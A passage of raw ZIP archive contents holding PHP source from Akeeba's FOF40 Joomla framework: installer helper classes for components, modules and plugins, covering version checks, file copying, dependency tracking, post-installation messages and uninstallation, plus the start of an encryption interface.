->from($db->qn('#__menu')) ->where($db->qn('title') . ' = ' . $db->q('Menu_Item_Root')); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } if (is_null($rootItemId)) { // Did they change the title too?! Let's find it by alias. $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('alias') . ' = ' . $db->q('root')); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } if (is_null($rootItemId)) { // The alias is borked, too?! Find it by component ID. $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('component_id') . ' = ' . $db->q('0')); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } if (is_null($rootItemId)) { // Your site is more of a "shite" than a "site". Let's try with minimum lft value. $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->order($db->qn('lft') . ' ASC'); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } if (is_null($rootItemId)) { // I quit. Your site is broken. return; } $table->rebuild($rootItemId); } /** * Deletes the assets table records for the component * * @param JDatabaseDriver|DatabaseDriver $db * * @return void * * @since 3.0.18 */ private function deleteComponentAssetRecords($db): void { $query = $db->getQuery(true); $query->select('id') ->from('#__assets') ->where($db->qn('name') . ' = ' . $db->q($this->componentName)); $db->setQuery($query); $ids = $db->loadColumn(); if (empty($ids)) { return; } foreach ($ids as $id) { $query = $db->getQuery(true); $query->delete('#__assets') ->where($db->qn('id') . ' = ' . $db->q($id)); $db->setQuery($query); try { $db->execute(); } catch (Exception $exc) { // Nothing } } } /** * Deletes the extensions table records for the component * * @param JDatabaseDriver|DatabaseDriver $db * * @return void * * @since 3.0.18 */ private function deleteComponentExtensionRecord($db): void { $query = $db->getQuery(true); $query->select('extension_id') ->from('#__extensions') ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('element') . ' = ' . $db->q($this->componentName)); $db->setQuery($query); $ids = $db->loadColumn(); if (empty($ids)) { return; } foreach ($ids as $id) { $query = $db->getQuery(true); $query->delete('#__extensions') ->where($db->qn('extension_id') . ' = ' . $db->q($id)); $db->setQuery($query); try { $db->execute(); } catch (Exception $exc) { // Nothing } } } /** * Deletes the menu table records for the component * * @param JDatabaseDriver|DatabaseDriver $db * * @return void * * @since 3.0.18 */ private function deleteComponentMenuRecord($db): void { $query = $db->getQuery(true); $query->select('id') ->from('#__menu') ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('menutype') . ' = ' . $db->q('main')) ->where($db->qn('link') . ' LIKE ' . $db->q('index.php?option=' . $this->componentName)); $db->setQuery($query); $ids = $db->loadColumn(); if (empty($ids)) { return; } foreach ($ids as $id) { $query = $db->getQuery(true); $query->delete('#__menu') ->where($db->qn('id') . ' = ' . $db->q($id)); $db->setQuery($query); try { $db->execute(); } catch (Exception $exc) { // Nothing } } } } PK���\��wQ��fof40/InstallScript/Plugin.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\InstallScript; defined('_JEXEC') || die; use Exception; use FOF40\Database\Installer; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\Installer\Adapter\PluginAdapter; use Joomla\CMS\Log\Log; // In case FOF's autoloader is not present yet, e.g. new installation if (!class_exists('FOF40\\InstallScript\\BaseInstaller', true)) { require_once __DIR__ . '/BaseInstaller.php'; } /** * A helper class which you can use to create plugin installation scripts. * * Example usage: class PlgSystemExampleInstallerScript extends FOF40\Utils\InstallScript\Module * * NB: The class name is always Plg<Plugin Folder><Plugin Name>InstallerScript per Joomla's conventions. * * This namespace contains more classes for creating installation scripts for other kinds of Joomla! extensions as well. * Do keep in mind that only components, modules and plugins could have post-installation scripts before Joomla! 3.3. */ class Plugin extends BaseInstaller { /** * The plugins's name, e.g. foobar (for plg_system_foobar). Auto-filled from the class name. * * @var string */ protected $pluginName = ''; /** * The plugins's folder, e.g. system (for plg_system_foobar). Auto-filled from the class name. * * @var string */ protected $pluginFolder = ''; /** * The path where the schema XML files are stored. The path is relative to the folder which contains the extension's * files. * * @var string */ protected $schemaXmlPath = 'sql/xml'; /** * Plugin installer script constructor. */ public function __construct() { // Get the plugin name and folder from the class name (it's always plgFolderPluginInstallerScript) if necessary. if (empty($this->pluginFolder) || empty($this->pluginName)) { $class = get_class($this); $words = preg_replace('/(\s)+/', '_', $class); $words = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $words)); $classParts = explode('_', $words); if (empty($this->pluginFolder)) { $this->pluginFolder = $classParts[1]; } if (empty($this->pluginName)) { $this->pluginName = $classParts[2]; } } } /** * Joomla! pre-flight event. This runs before Joomla! installs or updates the component. This is our last chance to * tell Joomla! if it should abort the installation. * * @param string $type Installation type (install, update, discover_install) * @param PluginAdapter $parent Parent object * * @return boolean True to let the installation proceed, false to halt the installation * @noinspection PhpUnusedParameterInspection */ public function preflight(string $type, PluginAdapter $parent): bool { // Do not run on uninstall. if ($type === 'uninstall') { return true; } // Check the minimum PHP version if (!$this->checkPHPVersion()) { return false; } // Check the minimum Joomla! version if (!$this->checkJoomlaVersion()) { return false; } // Clear op-code caches to prevent any cached code issues $this->clearOpcodeCaches(); return true; } /** * Runs after install, update or discover_update. In other words, it executes after Joomla! has finished installing * or updating your component. This is the last chance you've got to perform any additional installations, clean-up, * database updates and similar housekeeping functions. * * @param string $type install, update or discover_update * @param PluginAdapter $parent Parent object * * @return void * @throws Exception * */ public function postflight(string $type, PluginAdapter $parent): void { // Do not run on uninstall. if ($type === 'uninstall') { return; } // Add ourselves to the list of extensions depending on FOF40 $dependencyName = $this->getDependencyName(); $this->addDependency('fof40', $dependencyName); $this->removeDependency('fof30', $dependencyName); // Install or update database $schemaPath = $parent->getParent()->getPath('source') . '/' . $this->schemaXmlPath; if (@is_dir($schemaPath)) { $dbInstaller = new Installer(JoomlaFactory::getDbo(), $schemaPath); $dbInstaller->updateSchema(); } // Make sure everything is copied properly $this->bugfixFilesNotCopiedOnUpdate($parent); // Add post-installation messages on Joomla! 3.2 and later $this->_applyPostInstallationMessages(); // Clear the opcode caches again - in case someone accessed the extension while the files were being upgraded. $this->clearOpcodeCaches(); // Finally, see if FOF 3.x is obsolete and remove it. // $this->uninstallFOF3IfNecessary(); } /** * Runs on uninstallation * * @param PluginAdapter $parent The parent object */ public function uninstall(PluginAdapter $parent): void { // Uninstall database $schemaPath = $parent->getParent()->getPath('source') . '/' . $this->schemaXmlPath; // Uninstall database if (@is_dir($schemaPath)) { $dbInstaller = new Installer(JoomlaFactory::getDbo(), $schemaPath); $dbInstaller->removeSchema(); } // Uninstall post-installation messages on Joomla! 3.2 and later $this->uninstallPostInstallationMessages(); // Remove ourselves from the list of extensions depending on FOF40 $dependencyName = $this->getDependencyName(); // Remove ourselves from the list of extensions depending of FOF 4 $this->removeDependency('fof40', $dependencyName); // Uninstall FOF 4 if nothing else depends on it $this->uninstallFOF4IfNecessary(); } /** * Fix for Joomla bug: sometimes files are not copied on update. * * We have observed that ever since Joomla! 1.5.5, when Joomla! is performing an extension update some files / * folders are not copied properly. This seems to be a bit random and seems to be more likely to happen the more * added / modified files and folders you have. We are trying to work around it by retrying the copy operation * ourselves WITHOUT going through the manifest, based entirely on the conventions we follow for Akeeba Ltd's * extensions. * * @param PluginAdapter $parent */ protected function bugfixFilesNotCopiedOnUpdate(PluginAdapter $parent): void { Log::add("Joomla! extension update workaround for $this->pluginFolder plugin $this->pluginName", Log::INFO, 'fof4_extension_installation'); $temporarySource = $parent->getParent()->getPath('source'); $copyMap = [ // Plugin files $temporarySource => JPATH_ROOT . '/plugins/' . $this->pluginFolder . '/' . $this->pluginName, // Language (always stored in administrator for plugins) $temporarySource . '/language' => JPATH_ADMINISTRATOR . '/language', // Media files, e.g. /media/plg_system_foobar $temporarySource . '/media' => JPATH_ROOT . '/media/' . $this->getDependencyName(), ]; foreach ($copyMap as $source => $target) { Log::add(__CLASS__ . ":: Conditional copy $source to $target", Log::DEBUG, 'fof4_extension_installation'); $ignored = []; if ($source === $temporarySource) { $ignored = [ 'index.html', 'index.htm', 'LICENSE.txt', 'license.txt', 'readme.htm', 'readme.html', 'README.md', 'script.php', 'language', 'media', ]; } $this->recursiveConditionalCopy($source, $target, $ignored); } } /** * Get the extension name for FOF dependency tracking, e.g. plg_system_foobar * * @return string */ protected function getDependencyName(): string { return 'plg_' . strtolower($this->pluginFolder) . '_' . $this->pluginName; } } PK���\#��uufof40/InstallScript/Module.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\InstallScript; defined('_JEXEC') || die; use Exception; use FOF40\Database\Installer as DatabaseInstaller; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\Installer\Adapter\ModuleAdapter; use Joomla\CMS\Log\Log; // In case FOF's autoloader is not present yet, e.g. new installation if (!class_exists('FOF40\\InstallScript\\BaseInstaller', true)) { require_once __DIR__ . '/BaseInstaller.php'; } /** * A helper class which you can use to create module installation scripts. * * Example usage: class Mod_ExampleInstallerScript extends FOF40\Utils\InstallScript\Module * * This namespace contains more classes for creating installation scripts for other kinds of Joomla! extensions as well. * Do keep in mind that only components, modules and plugins could have post-installation scripts before Joomla! 3.3. */ class Module extends BaseInstaller { /** * Which side of the site is this module installed in? Use 'site' or 'administrator'. * * @var string */ protected $moduleClient = 'site'; /** * The modules's name, e.g. mod_foobar. Auto-filled from the class name. * * @var string */ protected $moduleName = ''; /** * The path where the schema XML files are stored. The path is relative to the folder which contains the extension's * files. * * @var string */ protected $schemaXmlPath = 'sql/xml'; /** * Module installer script constructor. */ public function __construct() { // Get the plugin name and folder from the class name (it's always plgFolderPluginInstallerScript) if necessary. if (empty($this->moduleName)) { $class = get_class($this); $words = preg_replace('/(\s)+/', '_', $class); $words = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $words)); $classParts = explode('_', $words); $this->moduleName = 'mod_' . $classParts[2]; } } /** * Joomla! pre-flight event. This runs before Joomla! installs or updates the component. This is our last chance to * tell Joomla! if it should abort the installation. * * @param string $type Installation type (install, update, discover_install) * @param ModuleAdapter $parent Parent object * * @return boolean True to let the installation proceed, false to halt the installation * @noinspection PhpUnusedParameterInspection */ public function preflight(string $type, ModuleAdapter $parent): bool { // Do not run on uninstall. if ($type === 'uninstall') { return true; } // Check the minimum PHP version if (!$this->checkPHPVersion()) { return false; } // Check the minimum Joomla! version if (!$this->checkJoomlaVersion()) { return false; } // Clear op-code caches to prevent any cached code issues $this->clearOpcodeCaches(); return true; } /** * Runs after install, update or discover_update. In other words, it executes after Joomla! has finished installing * or updating your component. This is the last chance you've got to perform any additional installations, clean-up, * database updates and similar housekeeping functions. * * @param string $type install, update or discover_update * @param ModuleAdapter $parent Parent object * * @return void * @throws Exception * */ public function postflight(string $type, ModuleAdapter $parent): void { // Do not run on uninstall. if ($type === 'uninstall') { return; } // Add ourselves to the list of extensions depending on FOF40 $this->addDependency('fof40', $this->getDependencyName()); $this->removeDependency('fof30', $this->getDependencyName()); // Install or update database $schemaPath = $parent->getParent()->getPath('source') . '/' . $this->schemaXmlPath; if (@is_dir($schemaPath)) { $dbInstaller = new DatabaseInstaller(JoomlaFactory::getDbo(), $schemaPath); $dbInstaller->updateSchema(); } // Make sure everything is copied properly $this->bugfixFilesNotCopiedOnUpdate($parent); // Add post-installation messages on Joomla! 3.2 and later $this->_applyPostInstallationMessages(); // Clear the opcode caches again - in case someone accessed the extension while the files were being upgraded. $this->clearOpcodeCaches(); // Finally, see if FOF 3.x is obsolete and remove it. // $this->uninstallFOF3IfNecessary(); } /** * Runs on uninstallation * * @param ModuleAdapter $parent The parent object */ public function uninstall(ModuleAdapter $parent): void { // Uninstall database $schemaPath = $parent->getParent()->getPath('source') . '/' . $this->schemaXmlPath; // Uninstall database if (@is_dir($schemaPath)) { $dbInstaller = new DatabaseInstaller(JoomlaFactory::getDbo(), $schemaPath); $dbInstaller->removeSchema(); } // Uninstall post-installation messages on Joomla! 3.2 and later $this->uninstallPostInstallationMessages(); // Remove ourselves from the list of extensions depending of FOF 4 $this->removeDependency('fof40', $this->getDependencyName()); // Uninstall FOF 4 if nothing else depends on it $this->uninstallFOF4IfNecessary(); } /** * Fix for Joomla bug: sometimes files are not copied on update. * * We have observed that ever since Joomla! 1.5.5, when Joomla! is performing an extension update some files / * folders are not copied properly. This seems to be a bit random and seems to be more likely to happen the more * added / modified files and folders you have. We are trying to work around it by retrying the copy operation * ourselves WITHOUT going through the manifest, based entirely on the conventions we follow for Akeeba Ltd's * extensions. * * @param ModuleAdapter $parent */ protected function bugfixFilesNotCopiedOnUpdate(ModuleAdapter $parent): void { Log::add("Joomla! extension update workaround for $this->moduleClient module $this->moduleName", Log::INFO, 'fof4_extension_installation'); $temporarySource = $parent->getParent()->getPath('source'); $rootFolder = ($this->moduleClient == 'site') ? JPATH_SITE : JPATH_ADMINISTRATOR; $copyMap = [ // Module files $temporarySource => $rootFolder . '/modules/' . $this->moduleName, // Language $temporarySource . '/language' => $rootFolder . '/language', // Media files $temporarySource . '/media' => JPATH_ROOT . '/media/' . $this->moduleName, ]; foreach ($copyMap as $source => $target) { \Joomla\CMS\Log\Log::add(__CLASS__ . ":: Conditional copy $source to $target", Log::DEBUG, 'fof4_extension_installation'); $ignored = []; if ($source === $temporarySource) { $ignored = [ 'index.html', 'index.htm', 'LICENSE.txt', 'license.txt', 'readme.htm', 'readme.html', 'README.md', 'script.php', 'language', 'media', ]; } $this->recursiveConditionalCopy($source, $target, $ignored); } } /** * Get the extension name for FOF dependency tracking, e.g. mod_site_foobar * * @return string */ protected function getDependencyName(): string { return 'mod_' . strtolower($this->moduleClient) . '_' . substr($this->moduleName, 4); } } PK���\�km�[[%fof40/InstallScript/BaseInstaller.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\InstallScript; defined('_JEXEC') || die; use DirectoryIterator; use Exception; use FOF40\Container\Container; use FOF40\Template\Template; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\Filesystem\File; use Joomla\CMS\Filesystem\Folder; use Joomla\CMS\Installer\Installer as JoomlaInstaller; use Joomla\CMS\Log\Log; use Throwable; class BaseInstaller { public $componentName; /** * The minimum PHP version required to install this extension * * @var string */ protected $minimumPHPVersion = '7.2.0'; /** * The minimum Joomla! version required to install this extension * * @var string */ protected $minimumJoomlaVersion = '3.9.0'; /** * The maximum Joomla! version this extension can be installed on * * @var string */ protected $maximumJoomlaVersion = '4.999.999'; /** * Post-installation message definitions for Joomla! 3.2 or later. * * This array contains the message definitions for the Post-installation Messages component added in Joomla! 3.2 and * later versions. Each element is also a hashed array. For the keys used in these message definitions please see * addPostInstallationMessage * * @var array */ protected $postInstallationMessages = []; /** * Recursively copy a bunch of files, but only if the source and target file have a different size. * * @param string $source Path to copy FROM * @param string $dest Path to copy TO * @param array $ignored List of entries to ignore (first level entries are taken into account) * * @return void */ protected function recursiveConditionalCopy(string $source, string $dest, array $ignored = []): void { // Make sure source and destination exist if (!@is_dir($source)) { return; } if (!@is_dir($dest) && !@mkdir($dest, 0755)) { Folder::create($dest, 0755); } if (!@is_dir($dest)) { $this->log(__CLASS__ . ": Cannot create folder $dest"); return; } // List the contents of the source folder try { $di = new DirectoryIterator($source); } catch (Exception $e) { return; } // Process each entry foreach ($di as $entry) { // Ignore dot dirs (. and ..) if ($entry->isDot()) { continue; } $sourcePath = $entry->getPathname(); $fileName = $entry->getFilename(); // Do not copy ignored files if (!empty($ignored) && in_array($fileName, $ignored)) { continue; } // If it's a directory do a recursive copy if ($entry->isDir()) { $this->recursiveConditionalCopy($sourcePath, $dest . DIRECTORY_SEPARATOR . $fileName); continue; } // If it's a file check if it's missing or identical $mustCopy = false; $targetPath = $dest . DIRECTORY_SEPARATOR . $fileName; if (!@is_file($targetPath)) { $mustCopy = true; } else { $sourceSize = @filesize($sourcePath); $targetSize = @filesize($targetPath); $mustCopy = $sourceSize !== $targetSize; if ((substr($targetPath, -4) === '.php') && function_exists('opcache_invalidate')) { /** @noinspection PhpComposerExtensionStubsInspection */ opcache_invalidate($targetPath); } } if (!$mustCopy) { continue; } if (!@copy($sourcePath, $targetPath) && !File::copy($sourcePath, $targetPath)) { $this->log(__CLASS__ . ": Cannot copy $sourcePath to $targetPath"); } } } /** * Try to log a warning / error with Joomla * * @param string $message The message to write to the log * @param bool $error Is this an error? If not, it's a warning. (default: false) * @param string $category Log category, default jerror * * @return void */ protected function log(string $message, bool $error = false, string $category = 'jerror'): void { // Just in case... if (!class_exists('\Joomla\CMS\Log\Log', true)) { return; } $priority = $error ? Log::ERROR : Log::WARNING; try { Log::add($message, $priority, $category); } catch (Exception $e) { // Swallow the exception. } } /** * Check that the server meets the minimum PHP version requirements. * * @return bool */ protected function checkPHPVersion(): bool { if (!empty($this->minimumPHPVersion)) { if (defined('PHP_VERSION')) { $version = PHP_VERSION; } elseif (function_exists('phpversion')) { $version = phpversion(); } else { $version = '5.0.0'; // all bets are off! } if (!version_compare($version, $this->minimumPHPVersion, 'ge')) { $msg = "<p>You need PHP $this->minimumPHPVersion or later to install this extension</p>"; $this->log($msg); return false; } } return true; } /** * Check the minimum and maximum Joomla! versions for this extension * * @return bool */ protected function checkJoomlaVersion(): bool { if (!empty($this->minimumJoomlaVersion) && !version_compare(JVERSION, $this->minimumJoomlaVersion, 'ge')) { $msg = "<p>You need Joomla! $this->minimumJoomlaVersion or later to install this extension</p>"; $this->log($msg); return false; } // Check the maximum Joomla! version if (!empty($this->maximumJoomlaVersion) && !version_compare(JVERSION, $this->maximumJoomlaVersion, 'le')) { $msg = "<p>You need Joomla! $this->maximumJoomlaVersion or earlier to install this extension</p>"; $this->log($msg); return false; } return true; } /** * Clear PHP opcode caches * * @return void * @noinspection PhpComposerExtensionStubsInspection */ protected function clearOpcodeCaches(): void { // Always reset the OPcache if it's enabled. Otherwise there's a good chance the server will not know we are // replacing .php scripts. This is a major concern since PHP 5.5 included and enabled OPcache by default. if (function_exists('opcache_reset')) { opcache_reset(); } // Also do that for APC cache elseif (function_exists('apc_clear_cache')) { @apc_clear_cache(); } } /** * Get the dependencies for a package from the #__akeeba_common table * * @param string $package The package * * @return array The dependencies */ protected function getDependencies(string $package): array { $db = JoomlaFactory::getDbo(); $query = $db->getQuery(true) ->select($db->qn('value')) ->from($db->qn('#__akeeba_common')) ->where($db->qn('key') . ' = ' . $db->q($package)); try { $dependencies = $db->setQuery($query)->loadResult(); $dependencies = json_decode($dependencies, true); if (empty($dependencies)) { $dependencies = []; } } catch (Exception $e) { $dependencies = []; } return $dependencies; } /** * Sets the dependencies for a package into the #__akeeba_common table * * @param string $package The package * @param array $dependencies The dependencies list */ protected function setDependencies(string $package, array $dependencies): void { $db = JoomlaFactory::getDbo(); $query = $db->getQuery(true) ->delete('#__akeeba_common') ->where($db->qn('key') . ' = ' . $db->q($package)); try { $db->setQuery($query)->execute(); } catch (Exception $e) { // Do nothing if the old key wasn't found } $object = (object) [ 'key' => $package, 'value' => json_encode($dependencies), ]; try { $db->insertObject('#__akeeba_common', $object, 'key'); } catch (Exception $e) { // Do nothing if the old key wasn't found } } /** * Adds a package dependency to #__akeeba_common * * @param string $package The package * @param string $dependency The dependency to add */ protected function addDependency(string $package, string $dependency): void { $dependencies = $this->getDependencies($package); if (!in_array($dependency, $dependencies)) { $dependencies[] = $dependency; $this->setDependencies($package, $dependencies); } } /** * Removes a package dependency from #__akeeba_common * * @param string $package The package * @param string $dependency The dependency to remove */ protected function removeDependency(string $package, string $dependency): void { $dependencies = $this->getDependencies($package); if (in_array($dependency, $dependencies)) { $index = array_search($dependency, $dependencies); unset($dependencies[$index]); $this->setDependencies($package, $dependencies); } } /** * Do I have a dependency for a package in #__akeeba_common * * @param string $package The package * @param string $dependency The dependency to check for * * @return bool */ protected function hasDependency(string $package, string $dependency): bool { $dependencies = $this->getDependencies($package); return in_array($dependency, $dependencies); } /** * Adds or updates a post-installation message (PIM) definition for Joomla! 3.2 or later. You can use this in your * post-installation script using this code: * * The $options array contains the following mandatory keys: * * extension_id The numeric ID of the extension this message is for (see the #__extensions table) * * type One of message, link or action. Their meaning is: * message Informative message. The user can dismiss it. * link The action button links to a URL. The URL is defined in the action parameter. * action A PHP action takes place when the action button is clicked. You need to specify the * action_file (RAD path to the PHP file) and action (PHP function name) keys. See * below for more information. * * title_key The Text language key for the title of this PIM * Example: COM_FOOBAR_POSTINSTALL_MESSAGEONE_TITLE * * description_key The Text language key for the main body (description) of this PIM * Example: COM_FOOBAR_POSTINSTALL_MESSAGEONE_DESCRIPTION * * action_key The Text language key for the action button. Ignored and not required when type=message * Example: COM_FOOBAR_POSTINSTALL_MESSAGEONE_ACTION * * language_extension The extension name which holds the language keys used above. For example, com_foobar, * mod_something, plg_system_whatever, tpl_mytemplate * * language_client_id Should we load the front-end (0) or back-end (1) language keys? * * version_introduced Which was the version of your extension where this message appeared for the first time? * Example: 3.2.1 * * enabled Must be 1 for this message to be enabled. If you omit it, it defaults to 1. * * condition_file The RAD path to a PHP file containing a PHP function which determines whether this message * should be shown to the user. @param array $options See description * * @return void * * @throws Exception * @see Template::parsePath() for RAD path format. Joomla! will include this file * before calling the function defined in the action key below. * Example: admin://components/com_foobar/helpers/postinstall.php * * action The name of a PHP function which will be used to run the action of this PIM. This must be * a * simple PHP user function (not a class method, static method etc) which returns no result. * Example: com_foobar_postinstall_messageone_action * * @see Template::parsePath() for RAD path format. Joomla! * will include this file before calling the condition_method. * Example: admin://components/com_foobar/helpers/postinstall.php * * condition_method The name of a PHP function which will be used to determine whether to show this message to * the user. This must be a simple PHP user function (not a class method, static method etc) * which returns true to show the message and false to hide it. This function is defined in * the condition_file. Example: com_foobar_postinstall_messageone_condition * * When type=message no additional keys are required. * * When type=link the following additional keys are required: * * action The URL which will open when the user clicks on the PIM's action button * Example: index.php?option=com_foobar&view=tools&task=installSampleData * * Then type=action the following additional keys are required: * * action_file The RAD path to a PHP file containing a PHP function which performs the action of this * PIM. * */ protected function addPostInstallationMessage(array $options): void { // Make sure there are options set if (!is_array($options)) { throw new Exception('Post-installation message definitions must be of type array', 500); } // Initialise array keys $defaultOptions = [ 'extension_id' => '', 'type' => '', 'title_key' => '', 'description_key' => '', 'action_key' => '', 'language_extension' => '', 'language_client_id' => '', 'action_file' => '', 'action' => '', 'condition_file' => '', 'condition_method' => '', 'version_introduced' => '', 'enabled' => '1', ]; $options = array_merge($defaultOptions, $options); // Array normalisation. Removes array keys not belonging to a definition. $defaultKeys = array_keys($defaultOptions); $allKeys = array_keys($options); $extraKeys = array_diff($allKeys, $defaultKeys); foreach ($extraKeys as $key) { unset($options[$key]); } // Normalisation of integer values $options['extension_id'] = (int) $options['extension_id']; $options['language_client_id'] = (int) $options['language_client_id']; $options['enabled'] = (int) $options['enabled']; // Normalisation of 0/1 values foreach (['language_client_id', 'enabled'] as $key) { $options[$key] = $options[$key] ? 1 : 0; } // Make sure there's an extension_id if (!(int) $options['extension_id']) { throw new Exception('Post-installation message definitions need an extension_id', 500); } // Make sure there's a valid type if (!in_array($options['type'], ['message', 'link', 'action'])) { throw new Exception('Post-installation message definitions need to declare a type of message, link or action', 500); } // Make sure there's a title key if (empty($options['title_key'])) { throw new Exception('Post-installation message definitions need a title key', 500); } // Make sure there's a description key if (empty($options['description_key'])) { throw new Exception('Post-installation message definitions need a description key', 500); } // If the type is anything other than message you need an action key if (($options['type'] != 'message') && empty($options['action_key'])) { throw new Exception('Post-installation message definitions need an action key when they are of type "' . $options['type'] . '"', 500); } // You must specify the language extension if (empty($options['language_extension'])) { throw new Exception('Post-installation message definitions need to specify which extension contains their language keys', 500); } try { $container = Container::getInstance($this->componentName); } catch (Exception $e) { $container = Container::getInstance('com_fake'); } $templateUtils = new Template($container); // The action file and method are only required for the "action" type if ($options['type'] == 'action') { if (empty($options['action_file'])) { throw new Exception('Post-installation message definitions need an action file when they are of type "action"', 500); } $file_path = $templateUtils->parsePath($options['action_file'], true); if (!@is_file($file_path)) { throw new Exception('The action file ' . $options['action_file'] . ' of your post-installation message definition does not exist', 500); } if (empty($options['action'])) { throw new Exception('Post-installation message definitions need an action (function name) when they are of type "action"', 500); } } if (($options['type'] == 'link') && empty($options['link'])) { throw new Exception('Post-installation message definitions need an action (URL) when they are of type "link"', 500); } // The condition file and method are only required when the type is not "message" if ($options['type'] != 'message') { if (empty($options['condition_file'])) { throw new Exception('Post-installation message definitions need a condition file when they are of type "' . $options['type'] . '"', 500); } $file_path = $templateUtils->parsePath($options['condition_file'], true); if (!@is_file($file_path)) { throw new Exception('The condition file ' . $options['condition_file'] . ' of your post-installation message definition does not exist', 500); } if (empty($options['condition_method'])) { throw new Exception('Post-installation message definitions need a condition method (function name) when they are of type "' . $options['type'] . '"', 500); } } // Check if the definition exists $tableName = '#__postinstall_messages'; $db = JoomlaFactory::getDbo(); $query = $db->getQuery(true) ->select('*') ->from($db->qn($tableName)) ->where($db->qn('extension_id') . ' = ' . $db->q($options['extension_id'])) ->where($db->qn('type') . ' = ' . $db->q($options['type'])) ->where($db->qn('title_key') . ' = ' . $db->q($options['title_key'])); $existingRow = $db->setQuery($query)->loadAssoc(); // Is the existing definition the same as the one we're trying to save (ignore the enabled flag)? if (!empty($existingRow)) { $same = true; foreach ($options as $k => $v) { if ($k == 'enabled') { continue; } if ($existingRow[$k] != $v) { $same = false; break; } } // Trying to add the same row as the existing one; quit if ($same) { return; } // Otherwise it's not the same row. Remove the old row before insert a new one. $query = $db->getQuery(true) ->delete($db->qn($tableName)) ->where($db->q('extension_id') . ' = ' . $db->q($options['extension_id'])) ->where($db->q('type') . ' = ' . $db->q($options['type'])) ->where($db->q('title_key') . ' = ' . $db->q($options['title_key'])); $db->setQuery($query)->execute(); } // Insert the new row $options = (object) $options; $db->insertObject($tableName, $options); } /** * Applies the post-installation messages for Joomla! 3.2 or later * * @return void */ protected function _applyPostInstallationMessages(): void { // Make sure there are post-installation messages if (empty($this->postInstallationMessages)) { return; } // Get the extension ID for our component $db = JoomlaFactory::getDbo(); $query = $db->getQuery(true); $query->select('extension_id') ->from('#__extensions') ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('element') . ' = ' . $db->q($this->componentName)); $db->setQuery($query); try { $ids = $db->loadColumn(); } catch (Exception $exc) { return; } if (empty($ids)) { return; } $extension_id = array_shift($ids); foreach ($this->postInstallationMessages as $message) { $message['extension_id'] = $extension_id; $this->addPostInstallationMessage($message); } } /** * Uninstalls the post-installation messages for Joomla! 3.2 or later * * @return void */ protected function uninstallPostInstallationMessages(): void { // Make sure there are post-installation messages if (empty($this->postInstallationMessages)) { return; } // Get the extension ID for our component $db = JoomlaFactory::getDbo(); $query = $db->getQuery(true); $query->select('extension_id') ->from('#__extensions') ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('element') . ' = ' . $db->q($this->componentName)); $db->setQuery($query); try { $ids = $db->loadColumn(); } catch (Exception $exc) { return; } if (empty($ids)) { return; } $extension_id = array_shift($ids); $query = $db->getQuery(true) ->delete($db->qn('#__postinstall_messages')) ->where($db->qn('extension_id') . ' = ' . $db->q($extension_id)); try { $db->setQuery($query)->execute(); } catch (Exception $e) { return; } } /** * Uninstalls FOF 3 if nothing else depends on it. * * @return void */ protected function uninstallFOF3IfNecessary() { // Only uninstall FOF 3.x when no other software depends on it still. if (count($this->getDependencies('fof30')) !== 0) { return; } // We will look for both legacy lib_fof30 and newer file_fof30 package types $packages = [ 'library' => 'lib_fof30', 'file' => 'file_fof30', ]; $db = JoomlaFactory::getDbo(); foreach ($packages as $type => $element) { // Get the extension ID for the FOF 3.x package we're uninstalling $query = $db->getQuery(true); $query->select('extension_id') ->from('#__extensions') ->where($db->qn('type') . ' = ' . $db->q($type)) ->where($db->qn('element') . ' = ' . $db->q($element)); $db->setQuery($query); try { $id = $db->loadResult(); } catch (Exception $exc) { continue; } // Was the extension installed anyway? if (empty($id)) { continue; } // Okay, try to uninstall it. Failure is always an option. try { (new JoomlaInstaller)->uninstall($type, $id); } catch (Throwable $e) { continue; } } } /** * Uninstalls FOF 4 if nothing else depends on it. * * @return void */ protected function uninstallFOF4IfNecessary() { // Only uninstall FOF 3.x when no other software depends on it still. if (count($this->getDependencies('fof40')) !== 0) { return; } $packages = [ 'file' => 'file_fof40', ]; $db = JoomlaFactory::getDbo(); foreach ($packages as $type => $element) { // Get the extension ID for the FOF 3.x package we're uninstalling $query = $db->getQuery(true); $query->select('extension_id') ->from('#__extensions') ->where($db->qn('type') . ' = ' . $db->q($type)) ->where($db->qn('element') . ' = ' . $db->q($element)); $db->setQuery($query); try { $id = $db->loadResult(); } catch (Exception $exc) { continue; } // Was the extension installed anyway? if (empty($id)) { continue; } // Okay, try to uninstall it. Failure is always an option. try { (new JoomlaInstaller)->uninstall($type, $id); } catch (Throwable $e) { continue; } } } } PK���\��SL��"fof40/Encrypt/RandvalInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Encrypt; defined('_JEXEC') || die(); interface RandvalInterface { /** * Returns a cryptographically secure random value. * * @param int $bytes How many random bytes do you want to be returned? * * @return string */ public function generate(int $bytes = 32): string; } PK���\��s��fof40/Encrypt/Aes.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license 